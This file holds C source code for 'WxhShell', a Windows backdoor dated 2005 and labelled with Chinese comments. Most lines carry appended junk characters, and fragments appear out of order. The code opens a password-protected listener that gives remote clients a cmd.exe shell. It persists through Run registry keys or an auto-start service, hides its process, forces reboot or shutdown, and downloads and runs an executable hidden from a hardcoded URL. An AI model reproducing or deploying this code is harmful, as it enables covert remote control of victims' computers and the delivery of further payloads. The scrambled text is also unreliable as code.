    if(Boot(SHUTDOWN)) oY| (M_;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `K1PGibV  
    else { U`},)$  
    closesocket(wsh); ',v0vyO8  
    ExitThread(0); h9@gs,'   
    } p8 E;[  
    break; kW*W4{Fth  
    } 3?-V>-[G_  
  // 获取shell LWp?U!N  
  case 's': { LGdf_M-f  
    CmdShell(wsh); f)!{y> Q  
    closesocket(wsh);  uhPIV\  
    ExitThread(0); l%vhV&  
    break; >B|ofwm*  
  } ulJ+:zwq$  
  // 退出 / r`Y'rm  
  case 'x': { ZVCv(J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JC1BUheeb  
    CloseIt(wsh); #RsIxpc  
    break; ^^W`Lh%9  
    } 9 u6 g  
  // 离开 [bQ8A(u  
  case 'q': { *{L<BB^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &QHA_+88W  
    closesocket(wsh); 3M5=@Fwkr  
    WSACleanup(); 6M2i? c  
    exit(1); ixUiXP  
    break; WoN]eO  
        } @idp8J [td  
  } l%3Q=c  
  } 60SenHKles  
w^vK7Z 1$  
  // 提示信息 `jl. f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y[Fw>g1`q  
} $ET/0v"V  
  } <{P^W;N7  
Wl^/=I4p#  
  return; uvAy#,  
} QyBK*uNdV  
D(2kb  
// shell模块句柄 =h1 QN  
int CmdShell(SOCKET sock) WHh2fN'A5  
{ e=NQY8?  
STARTUPINFO si; %QlBFl0a  
ZeroMemory(&si,sizeof(si)); ;U5x'}%0]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ib<5u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; omDi<-  
PROCESS_INFORMATION ProcessInfo; `XRb:d^  
char cmdline[]="cmd"; Ii2g+SlQDa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Qc)RrqYNGF  
  return 0; mYU dhL ^  
} [~&:`I1  
_*-'yu8#  
// 自身启动模式 bU@>1>b6lE  
int StartFromService(void) 1+y6W1m^R  
{ &Cn9 k3E\R  
typedef struct 4h0jX 9  
{ m0q`A5!)  
  DWORD ExitStatus; W.7d{ @n  
  DWORD PebBaseAddress; }][|]/s?42  
  DWORD AffinityMask; hwb(W?*  
  DWORD BasePriority; p{pzOMi6  
  ULONG UniqueProcessId; }<x!95  
  ULONG InheritedFromUniqueProcessId; V-o`L`(F`  
}   PROCESS_BASIC_INFORMATION; -^NAHE$bW  
wr6xuoH  
PROCNTQSIP NtQueryInformationProcess; -n$rKEC4  
y*TNJJ|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z!BQtICs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lyc{Z%!3  
0OoO cc  
  HANDLE             hProcess; DG%%]  
  PROCESS_BASIC_INFORMATION pbi; 2ucsTh@  
z]4g`K+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s Gm(Aax*0  
  if(NULL == hInst ) return 0; 6d?2{_},  
Z6 |'k:R8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qS`|=5f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `0i}}Zo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oew]ijnB  
"vHAp55B{  
  if (!NtQueryInformationProcess) return 0; W Y qL  
3[g++B."pC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3Tte8]0  
  if(!hProcess) return 0; #p:jKAc3  
f;; S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )@&?i.  
d?+oT0pCH  
  CloseHandle(hProcess); bT6)(lm  
ff+9(P>*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =2V;B  
if(hProcess==NULL) return 0; m"> =QP  
ClVpb ew  
HMODULE hMod; ,h(+\^ ?,  
char procName[255]; Ydd>A\v\;  
unsigned long cbNeeded; i)^ZH#G p  
| 3/p8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |$-d, ] V  
-JW6@L@  
  CloseHandle(hProcess); .j$bCKXGx  
("@V{<7(t  
if(strstr(procName,"services")) return 1; // 以服务启动 &_x/Dzu!z  
2ZIY{lBe  
  return 0; // 注册表启动 jm!C^5!  
} af5`ktx  
_=M'KCL*)  
// 主模块 sYW)h$p;D  
int StartWxhshell(LPSTR lpCmdLine) 4Xho0lO&  
{ 8$xKg3-3M  
  SOCKET wsl; >^)5N<t?  
BOOL val=TRUE; 8QgL7  
  int port=0; .2-JV0  
  struct sockaddr_in door; 8@*|T?r  
9^h%}>  
  if(wscfg.ws_autoins) Install(); VX@G}3Ck  
-{sv3|P>  
port=atoi(lpCmdLine); NqfDY  
QZq9$;>dW  
if(port<=0) port=wscfg.ws_port; bB :X<  
= 8e8!8  
  WSADATA data; T1]X   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vrldRn'*9  
uTloj .  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aI#n+PW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xr6 !b:UX  
  door.sin_family = AF_INET; U[ungvU1U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?cxK~Y\  
  door.sin_port = htons(port); 1X}Tp\e  
a9_KQ=&CI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JBJ7k19;  
closesocket(wsl); 40sLZa)e  
return 1; P+|8MT0  
} J7] 60H#P  
#\;w::  
  if(listen(wsl,2) == INVALID_SOCKET) { HPH{{p  
closesocket(wsl); NB#*`|qt  
return 1; 1 3az [  
} NKh {iSLm  
  Wxhshell(wsl); ~"YNG?Rre  
  WSACleanup(); :pu{3-n.  
%hb5C 4q  
return 0; tLXw&hFk`g  
4'=N{.TtO  
} \uPTk)oaB  
>o= p5#{  
// 以NT服务方式启动 EQhV}9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #C7j|9Ew1]  
{ 3^UsyZS)  
DWORD   status = 0; P&^7wud-sb  
  DWORD   specificError = 0xfffffff; ? UDvFQ&  
>RnMzH/9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F|K4zhK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 25[/'7_"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?a9k5@s  
  serviceStatus.dwWin32ExitCode     = 0; D8{HOv;d^  
  serviceStatus.dwServiceSpecificExitCode = 0; vaZZzv{H  
  serviceStatus.dwCheckPoint       = 0; m =F@CA~C  
  serviceStatus.dwWaitHint       = 0; L=FvLii.  
*g6o ;c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c9@jyq_H?  
  if (hServiceStatusHandle==0) return; ng*E9Puu[  
F}DD;K  
status = GetLastError(); 4N0nU  
  if (status!=NO_ERROR) <5}du9@  
{ e>Y2q|S85  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?0%TE\I8  
    serviceStatus.dwCheckPoint       = 0; (:x"p{  
    serviceStatus.dwWaitHint       = 0; lM%fgyX  
    serviceStatus.dwWin32ExitCode     = status; -B(KQT,J  
    serviceStatus.dwServiceSpecificExitCode = specificError; >D#}B1(!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i?=.; 0[|  
    return; rB?cm]G=  
  } kweTK]mT  
6x{IY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y\|J1I,Z4  
  serviceStatus.dwCheckPoint       = 0; l!` 0I] }  
  serviceStatus.dwWaitHint       = 0; * XGBym  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e !Okc*,  
} ~l6Y<-!  
9v2 ;  
// 处理NT服务事件,比如:启动、停止 -;-"i J0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B '/ >Ax&  
{ !c($C   
switch(fdwControl) f~9Y1|6  
{ $3B?  
case SERVICE_CONTROL_STOP: BF!zfX?n  
  serviceStatus.dwWin32ExitCode = 0; +N@F,3yNa  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I!O S&8:u  
  serviceStatus.dwCheckPoint   = 0; Lc?O K"[m  
  serviceStatus.dwWaitHint     = 0; Acv{XnB  
  { e_-/p`9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {jf~?/<  
  } jy2nn:1#^  
  return; +}/!yQtH  
case SERVICE_CONTROL_PAUSE: W10fjMC}^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d]`,}vi#E9  
  break; J,Ap9HJt  
case SERVICE_CONTROL_CONTINUE: ;P~S/j[ 8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q>yt O'v1  
  break; .Tv(1HAc2l  
case SERVICE_CONTROL_INTERROGATE: $ '*BS  
  break; nWu4HFi  
}; elgQcJ99  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `p|vutk)U  
} >#|Yoc  
vDvGT<d  
// 标准应用程序主函数 ^W'[l al.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j}l8k@f  
{ 3>Snd9Q  
%/zZ~WIf  
// 获取操作系统版本 xvl  
OsIsNt=GetOsVer(); N@)~j+Pz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2N 4>  
:5J6rj;_  
  // 从命令行安装 3kY4V*9@-  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bdepvc}[#  
I9>*Yy5RNS  
  // 下载执行文件 q+~CA[H5K  
if(wscfg.ws_downexe) { {Z.@-Tl_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *xP:7K  
  WinExec(wscfg.ws_filenam,SW_HIDE); J3;KQ}F.I  
} n.RhA-O  
hh&y2#Io  
if(!OsIsNt) { eUlb6{!y?  
// 如果时win9x,隐藏进程并且设置为注册表启动 W<o0Z OO  
HideProc(); qH"a!  
StartWxhshell(lpCmdLine); -+|[0hpw  
} v1)6")8o+  
else E2D8s=r  
  if(StartFromService()) qw1J{xoHW  
  // 以服务方式启动 AAgA]OD,  
  StartServiceCtrlDispatcher(DispatchTable); >oDP(]YGg  
else UULL:vqq  
  // 普通方式启动 \ 6 a  
  StartWxhshell(lpCmdLine); z?[DW*  
k)Wz b  
return 0; F DX+  
} 2Zip8f!  
f34&:xz2U  
G|_aU8b|t  
G.TX1  
=========================================== 926oM77  
"@$STptkc  
?UDO%`X  
#" -^;Z  
yfQE8v+  
faX#KRpfd  
" HC,@tfS  
f@L{*Upj+  
#include <stdio.h> b%j:-^0V  
#include <string.h> Ya 4$7|(  
#include <windows.h> P^W47 SO  
#include <winsock2.h> 3=7h+ZgB  
#include <winsvc.h> krc!BK`V  
#include <urlmon.h> (=V[tI+Ngt  
A8GlE  
#pragma comment (lib, "Ws2_32.lib") 3>v0W@C  
#pragma comment (lib, "urlmon.lib") *DzPkaYD>  
%QLYNuG  
#define MAX_USER   100 // 最大客户端连接数 Dj(7'jT  
#define BUF_SOCK   200 // sock buffer Pc== ]H(  
#define KEY_BUFF   255 // 输入 buffer :j4 [_9\  
@8yFM%  
#define REBOOT     0   // 重启 *!@x<Hf<  
#define SHUTDOWN   1   // 关机 tC-KW~&  
%tQ{Hf~  
#define DEF_PORT   5000 // 监听端口 >+8I =S  
r0 C6Ww7u  
#define REG_LEN     16   // 注册表键长度 _\PoZ|G4y  
#define SVC_LEN     80   // NT服务名长度 E,yK` mPp^  
VTfaZ/e.  
// 从dll定义API L-{r*ccIW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rF3]AW(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g>P9hIl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {`CWzk?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZY$@_DOB}  
*Bsmn!_cB{  
// wxhshell配置信息 F*:NKT d  
struct WSCFG { I.1l  
  int ws_port;         // 监听端口 5zna?(#}  
  char ws_passstr[REG_LEN]; // 口令 iDc|9"|Tf3  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6FMW g:{  
  char ws_regname[REG_LEN]; // 注册表键名 @6'E8NFl  
  char ws_svcname[REG_LEN]; // 服务名 #2ASzCe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '$-,;vnP0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pY#EXZ#   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;XQ lj?:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X>8?p'*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fhx:EZ:~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qFbUM;  
)0MshgM  
}; })vr*[  
v} ;qMceJ  
// default Wxhshell configuration X$Vz  
struct WSCFG wscfg={DEF_PORT, Go7hDmu  
    "xuhuanlingzhe", _5 tqO5'  
    1, ]GKx[F{)  
    "Wxhshell", ) '`AX\  
    "Wxhshell", _k.bGYldk  
            "WxhShell Service", _x1[$A,GuB  
    "Wrsky Windows CmdShell Service", Al=? j#J6p  
    "Please Input Your Password: ", y@\Q@ 9  
  1, i9k]Q(o  
  "http://www.wrsky.com/wxhshell.exe", }_l -'t  
  "Wxhshell.exe" o 0ivja  
    }; \+Ln~\Sv  
zb}+ m#q  
// 消息定义模块 w?W e|x3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :P~& b P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^6y4!='ci  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B&k T#  
char *msg_ws_ext="\n\rExit."; G2{M#H  
char *msg_ws_end="\n\rQuit."; RTBBb:eX  
char *msg_ws_boot="\n\rReboot..."; ;Jn0e:x`E  
char *msg_ws_poff="\n\rShutdown..."; slvs oN@  
char *msg_ws_down="\n\rSave to "; e - ]c  
&dDI*v+  
char *msg_ws_err="\n\rErr!"; E816 YS='  
char *msg_ws_ok="\n\rOK!"; _s-HlE?C  
5po' (r|U  
char ExeFile[MAX_PATH]; l~!fQ$~  
int nUser = 0; C!k9JAa$Z  
HANDLE handles[MAX_USER]; yZ)aKwj%U  
int OsIsNt; b\j&!_   
L(2P|{C  
SERVICE_STATUS       serviceStatus; VN-#R=D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O| 6\g>ew  
05VOUa*pb  
// 函数声明 BI.k On=  
int Install(void); Dke($Jr{  
int Uninstall(void); V0 +k3H  
int DownloadFile(char *sURL, SOCKET wsh); + >gbZ-S  
int Boot(int flag); yki51rOI*  
void HideProc(void); 3_*Xk. .d  
int GetOsVer(void); Bx : So6:  
int Wxhshell(SOCKET wsl); (X_,*3Yxk  
void TalkWithClient(void *cs); .>64h H  
int CmdShell(SOCKET sock); 0mD;.1:  
int StartFromService(void); hi D7tb=g~  
int StartWxhshell(LPSTR lpCmdLine); m|2]lb  
VIYksv   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P[GX}~_k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /\a]S:V-j  
)cqDvH  
// 数据结构和表定义 2]aZe4H.  
SERVICE_TABLE_ENTRY DispatchTable[] = LLn{2,jfQ  
{ nHA`B.:B  
{wscfg.ws_svcname, NTServiceMain}, *(&ClUQQ  
{NULL, NULL} .4C[D{4  
}; >yA,@%X  
^A "lkV7  
// 自我安装 K l0tyeT  
int Install(void) -wRyMY_ D  
{ +>WC^s  
  char svExeFile[MAX_PATH]; qz=#;&ZU  
  HKEY key; <r+!hJ[s'  
  strcpy(svExeFile,ExeFile); keQXJ0  
m$E^u[  
// 如果是win9x系统,修改注册表设为自启动 U|Z>SE<k  
if(!OsIsNt) { ')u5l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XL7;^AE^Wl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _95}ifSVm  
  RegCloseKey(key); NBqV0>vR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f5yux}A{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _{c|o{2sj  
  RegCloseKey(key); /#qs(! d  
  return 0; <f.>jjwFE  
    } NB W%.z  
  } jq("D,  
} 42J';\)oP  
else { )}Rfa}MD  
L;--d`[  
// 如果是NT以上系统,安装为系统服务 }6CXJ+-UR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N;x<| %peL  
if (schSCManager!=0) LE<u&9I\  
{ ~6-"i0k  
  SC_HANDLE schService = CreateService P"bknXL  
  ( m/<F 5R  
  schSCManager, :(l $^ M  
  wscfg.ws_svcname, O\4+_y  
  wscfg.ws_svcdisp, &vFqe,Z  
  SERVICE_ALL_ACCESS, Kl aZZJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j FPU zB"  
  SERVICE_AUTO_START, <K,% y(]  
  SERVICE_ERROR_NORMAL, O@r.>  
  svExeFile, ckf<N9  
  NULL, RrO0uadmn  
  NULL, Q$3\ /mz  
  NULL, 77xq/c[)  
  NULL, i[2bmd!H  
  NULL s^g.42?u  
  ); (zs4#ja2,  
  if (schService!=0) p2Dh3)&  
  { < g3du~  
  CloseServiceHandle(schService); t/d',Khg  
  CloseServiceHandle(schSCManager); >d{dZD}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5e#&"sJ.1  
  strcat(svExeFile,wscfg.ws_svcname); 8R\>FNk;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]{,Gf2v;;d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *^@#X-NG  
  RegCloseKey(key); 2&.n  
  return 0; =sE2}/g  
    } . 0 s[{x  
  } b46[fa   
  CloseServiceHandle(schSCManager); hgweNRTh!  
} W,HH *!  
} \K?(  
c Pq Dsl3  
return 1; 80?6I%UB<  
} .:{h{@a  
r=~WMDCz@  
// 自我卸载 11)/] ?/j  
int Uninstall(void) %NT`C9][  
{ 4d^ \l!  
  HKEY key; Nm6Z|0S  
VqK%^  
if(!OsIsNt) { axK6sIxx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { + mfe*'AU  
  RegDeleteValue(key,wscfg.ws_regname); Uvjdx(fY[a  
  RegCloseKey(key); \~@[QGKN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'yPCZ`5H(  
  RegDeleteValue(key,wscfg.ws_regname); .3lGX`d{  
  RegCloseKey(key); Mw"xm9(Q  
  return 0; pg~zUOY  
  } e2AN[Ar  
} Pz]bZPHn  
} 7?=43bZl  
else { Q_&}^  
hrs#ZZ:E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q&XCX$N  
if (schSCManager!=0) M.ZEqV+k  
{ jWH{;V&ZV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f^W[; w  
  if (schService!=0) mje<d"bW  
  { jM5_8nS&d  
  if(DeleteService(schService)!=0) { =\~E n5  
  CloseServiceHandle(schService); r0\cc6  
  CloseServiceHandle(schSCManager); ?EI'^xg  
  return 0; lLuID  
  } de> ?*%<  
  CloseServiceHandle(schService); =X-^YG3x  
  } P?9nTG  
  CloseServiceHandle(schSCManager); \Fj5v$J-  
} -VS9`7k  
} C#MF pT  
|@ikx{W  
return 1; V bg10pV0  
} q} ]'Q -  
$ A-+E\vQ@  
// 从指定url下载文件 JDLTOLG  
int DownloadFile(char *sURL, SOCKET wsh) &w+;N5}3  
{ t)-*.qZh  
  HRESULT hr; (k%GY< bP  
char seps[]= "/"; W8w3~  
char *token; ry.;u*F  
char *file; +>JdYV<?0  
char myURL[MAX_PATH]; 9$Ig~W)  
char myFILE[MAX_PATH]; G 9DJa_]X  
9 YP*f  
strcpy(myURL,sURL); SArfczoB  
  token=strtok(myURL,seps); aSc{Ft/O  
  while(token!=NULL) ;mEwQ  
  { Dc08D4   
    file=token; &^ V~cJ  
  token=strtok(NULL,seps); q5Fs)B  
  } tbtI1"$  
k*5'L<&  
GetCurrentDirectory(MAX_PATH,myFILE); mDE'<c`b4  
strcat(myFILE, "\\"); Ls&+XlrX8  
strcat(myFILE, file); e# t3u_  
  send(wsh,myFILE,strlen(myFILE),0); M'kVL0p?vN  
send(wsh,"...",3,0); l^.K'Q1~a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $tI]rU  
  if(hr==S_OK) @.'z* |z  
return 0; =WC-Sj{I  
else !RS9%ES_?  
return 1; (=1)y'.  
U4Z[!s$  
} ,Du@2w3Cq  
N;uUx#z  
// 系统电源模块 ?a S%  
int Boot(int flag) 4t04}vp  
{ `>s7M.|X  
  HANDLE hToken; CdY8 #+"  
  TOKEN_PRIVILEGES tkp; ]<1HM"D  
oizT-8i@N  
  if(OsIsNt) { c! @F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U#bl=%bF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zbNA \.y  
    tkp.PrivilegeCount = 1; dm6~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eqq`TT#Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *l{yW"Su  
if(flag==REBOOT) { F!J J6d53y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BPqk "HG]T  
  return 0; cB#nsu>  
} 'Y.Vn P&H  
else { %%>_B2vc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D3`}4 A  
  return 0; Br}h/!NU/  
} ({4]  
  }  9:5:`' b  
  else { " Ya9~6  
if(flag==REBOOT) { 'Gjq/L/x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &rp!%]+xAM  
  return 0; RPVT*`o  
} VU|;:  
else { Wqra8u#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oBA`|yW{U  
  return 0; 1~J5uB4  
} K%MW6y  
} cq*=|m0}Z  
ZU^I H9  
return 1; 2edBQYWd  
} piOXo=9H.  
,w{m3;]_%  
// win9x进程隐藏模块 6-B 9na  
void HideProc(void) #]9hTa IR  
{ 9AHSs,.t  
SHD^}?-|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a8$kNtA  
  if ( hKernel != NULL ) e*C6uz9N  
  { Tr& }$kird  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *#y;8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JqCc;Cbd  
    FreeLibrary(hKernel); /- 4$7qd  
  } oE?QnH3R  
3xNMPm  
return; S:q$?$  
} [3N[i(Wlk  
/RT%0!  
// 获取操作系统版本 p_{("zQ  
int GetOsVer(void) at6149B\)  
{ ]"F5;p; y  
  OSVERSIONINFO winfo; /qU>5;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k%P;w1  
  GetVersionEx(&winfo); ~9=aT1S|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w8iR|TV  
  return 1; @*MC/fe  
  else FB:<zmwR  
  return 0; b.F^vv"]]  
} :?Y$bX}a  
g> S*<  
// 客户端句柄模块 :jEPu3E:  
int Wxhshell(SOCKET wsl) @]HXP_lyD/  
{ w!SkWS b,~  
  SOCKET wsh; l&$$w!n0w  
  struct sockaddr_in client; I]nHbghcW  
  DWORD myID; w,1Ii}d9  
}P9Ap3?  
  while(nUser<MAX_USER) s '?GH  
{ .>pgU{C`!  
  int nSize=sizeof(client); 8FkFM^\1L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2+o |A  
  if(wsh==INVALID_SOCKET) return 1; KCuG u}  
@}s$]i$|-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Thr*^0$C  
if(handles[nUser]==0) {g6Qv-  
  closesocket(wsh); ;AJTytE>%  
else 2; `=P5V  
  nUser++; }_ mT l@*  
  } 4~z?"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Bi3+)k>u7  
Pw0Ci  
  return 0; ?=;qK{)37  
} ^Q+i=y{W  
i/So6jW  
// 关闭 socket ]@^coj[  
void CloseIt(SOCKET wsh) Xz 4 x  
{ lb*8G  
closesocket(wsh); 5 BtX63  
nUser--; _-~`03 `!  
ExitThread(0); Zm ogM7B  
} sJ z@7.  
wJ<Oo@snm  
// 客户端请求句柄 h*B|fy4K9U  
void TalkWithClient(void *cs) !ZRs;UZ>o  
{ o>/O++7Ra  
CjIu[S1%  
  SOCKET wsh=(SOCKET)cs; ]rN5Ao}2  
  char pwd[SVC_LEN]; . lgPFr6X  
  char cmd[KEY_BUFF]; *i{Y9f8  
char chr[1]; f.B>&%JRZ  
int i,j; 6 sxffJt  
A"5z6A4WB  
  while (nUser < MAX_USER) { $,>@o=)_  
b6(p  
if(wscfg.ws_passstr) { 3q:n'PC)C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3]&o*Ib1`_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); evA/+F ,&  
  //ZeroMemory(pwd,KEY_BUFF); qFQ 8  
      i=0; NS)}6OI3~"  
  while(i<SVC_LEN) { 6$fYt&1  
;6ecrQMw&  
  // 设置超时 mo{MR:>)  
  fd_set FdRead; ._9 n~=!  
  struct timeval TimeOut; `(6r3f~XJ  
  FD_ZERO(&FdRead); G rmzkNlN  
  FD_SET(wsh,&FdRead); kql0J|P?  
  TimeOut.tv_sec=8; YXurYwV  
  TimeOut.tv_usec=0; )u]9193  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Nc Pgq?3p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Wo~vhv$E  
ig LMv+{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "1`Oh<={b  
  pwd=chr[0]; ph>7?3;t  
  if(chr[0]==0xd || chr[0]==0xa) { Cxod[$8  
  pwd=0; K$K^=> I"o  
  break; @H>@[+S#  
  } >odbOi+X  
  i++; me6OPc;:!  
    } cRd0S*QN2  
G$0c '9d*(  
  // 如果是非法用户,关闭 socket ,j:|w+l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +ISz?~8  
} h7*W *Bd  
`Q3s4VEC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l!}:|N Yh!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -<v~snq'  
`@[c8j7  
while(1) { ^EG\iO2X  
7@lS.w\#-  
  ZeroMemory(cmd,KEY_BUFF); 3kcTE&1^  
:c9U>1`g&  
      // 自动支持客户端 telnet标准   6 5y+Z  
  j=0; Y{v(p7pl  
  while(j<KEY_BUFF) { :l7U>~ o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I1oje0$  
  cmd[j]=chr[0]; ;,i]w"*  
  if(chr[0]==0xa || chr[0]==0xd) { i wxVl)QL  
  cmd[j]=0; )[mwP.T=  
  break; 5zFR7/p{  
  } dVB~Smsr  
  j++; "s!7dKXI"  
    } x3qW0K8  
jdE5~a+  
  // 下载文件 \Y6WSj?E  
  if(strstr(cmd,"http://")) { bY}eUL2i4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'XY`(3q  
  if(DownloadFile(cmd,wsh)) [.RO'>2z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )o-Q!<*1  
  else t#%R q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '>$]{vQ3  
  } U9D!GKVp  
  else { b=~i)`  
D +_oVob\  
